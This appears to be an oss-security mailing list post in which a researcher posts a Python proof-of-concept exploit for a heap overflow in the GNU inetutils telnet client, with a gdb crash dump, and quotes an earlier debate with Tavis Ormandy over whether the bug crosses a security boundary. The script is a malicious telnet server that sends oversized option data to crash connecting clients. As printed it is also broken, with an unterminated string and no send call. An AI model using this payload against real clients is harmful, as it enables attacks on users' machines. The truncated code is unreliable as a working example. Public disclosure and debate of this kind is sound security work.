Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Wed, 12 Dec 2018 17:21:05 -0800
From: Hacker Fantastic <>
To: Tavis Ormandy <>
Subject: Re: Multiple telnet.c overflows

Please see the below proof of concept in triggering the heap overflow using
the IAC SB TELQUAL_IS environment option variable assignment. As per my
original advisory, which did not fully indicate the details but gave the
overview of how to trigger the condition.

#!/usr/bin/env python
# Proof-of-concept exploit to settle debate on remote
# exploitability of telnet client overflows identified
# by Hacker House in previous advisory.
# Starting program: /usr/bin/telnet 2323
# Trying
# Connected to
# Escape character is '^]'.
# Program received signal SIGSEGV, Segmentation fault.
# 0x0000555555561172 in ?? ()
# (gdb) i r
# rax            0x0                 0
# rbx            0x55555557b100      93824992391424
# rcx            0x0                 0
# rdx            0x1203              4611
# rsi            0x1                 1
# rdi            0x203               515
# rbp            0x0                 0x0
# rsp            0x7fffff7ff000      0x7fffff7ff000
# r8             0x0                 0
# r9             0x0                 0
# r10            0x0                 0
# r11            0x246               582
# r12            0x55555556e3c4      93824992338884
# r13            0x555555586140      93824992436544
# r14            0x55555557b140      93824992391488
# r15            0x41                65
# rip            0x555555561172      0x555555561172
# eflags         0x10246             [ PF ZF IF RF ]
# cs             0x33                51
# ss             0x2b                43
# ds             0x0                 0
# es             0x0                 0
# fs             0x0                 0
# gs             0x0                 0
# -- Hacker Fantastic
# 12/12/2018 - h0h0h0 merry xmas

import sys
import socket

# telnet initial negotiation
buffer = b'\xff\xfd\x18\xff\xfd\x20\xff\xfd\x23\xff\xfd\x27'

# Send malformed and oversized IAC telnet options
buffer2 =b'\xff\xfa\x18\x01'  # set linespeed
buffer2 +=b'A'*5000
buffer2 +=b'\xff\xf0'         # end option

HOST = ''
PORT = 2323

if __name__ == "__main__":
    print("[+] GNU/inetutils <= 1.9.4 telnet client heap overflow (IAC
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((HOST, PORT))
        conn, addr = s.accept()
        while conn:
            print("[-] connected, corrupting client heap")

On Wed, Dec 12, 2018 at 12:10 PM Tavis Ormandy <> wrote:

> On Wed, Dec 12, 2018 at 11:35 AM Hacker Fantastic
> <> wrote:
> >
> > Hi Tavis,
> >
> > The "little used" package you mentioned is in some distributions a
> dependency of "xorg-xinit" (:: removing inetutils breaks dependency
> 'inetutils' required by xorg-xinit in Arch Linux). The security boundary in
> the Mikrotik example is "escape of restricted shells" which is also in the
> TLDR; advisory. If you are unhappy with how I described the issue and wish
> to spend time and ultimately money researching remotely reachable code
> paths (aside from the URI handler example I already gave you) then it is
> worth looking into more detail the issues with the heap overflow and if it
> is reachable in the client via a server-side telnetd implementation for
> instance. The code there is a mess.
> >
> > As I already stated, I am unable to account for every use of telnet
> client-side code or how it is called in every application, particularly all
> the projects out there used from open-source community or co-opted by
> vendors into commercial offerings (like the given example, Mikrotik).
> Splitting hairs over security boundaries of a single issue with many use
> cases is not something I have time for, the vulnerability is exactly as
> described with security relevant impacts in my original advisory. It would
> be nice to see the heap overflow reached via a telnetd service just to
> prove a point but ultimately it is beyond the scope of this discussion, why
> not put the energy you spent on these emails to use exploring if the heap
> is also corrupted in such instances? ;-)
> >
> The energy I spent asking if a security boundary being crossed was
> minimal. I think the answer is that you do not know of any cases of
> this being a security boundary, but you feel that all bugs are
> security bugs whether or not a security boundary is crossed, because
> you don't know how someone might be using the software.
> > It was considered a security issue for such straight-forward restricted
> shell escapes in 2004/2005 (when there were numerous reported instances of
> such occurring in telnet clients alongside other client-side overflows).
> One of the issues is addressed in the implementations of some BSD clients
> and not in others.
> >
> > Just because you do not know how to exploit a bug does not mean it does
> not have security implications, it just means they have not been discovered
> yet or the researcher does not have the luxury of time that others have.
> >
> > I hope this clarifies my points satisfactorily for you.
> It certainly does, thank you. I think we disagree on what qualifies as
> a vulnerability, but I'm still very grateful for you reporting this.
> Tavis.

Matthew Hickey
Tel: +44 7543 661237

Please visit my website for blog postings, status updates and project

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.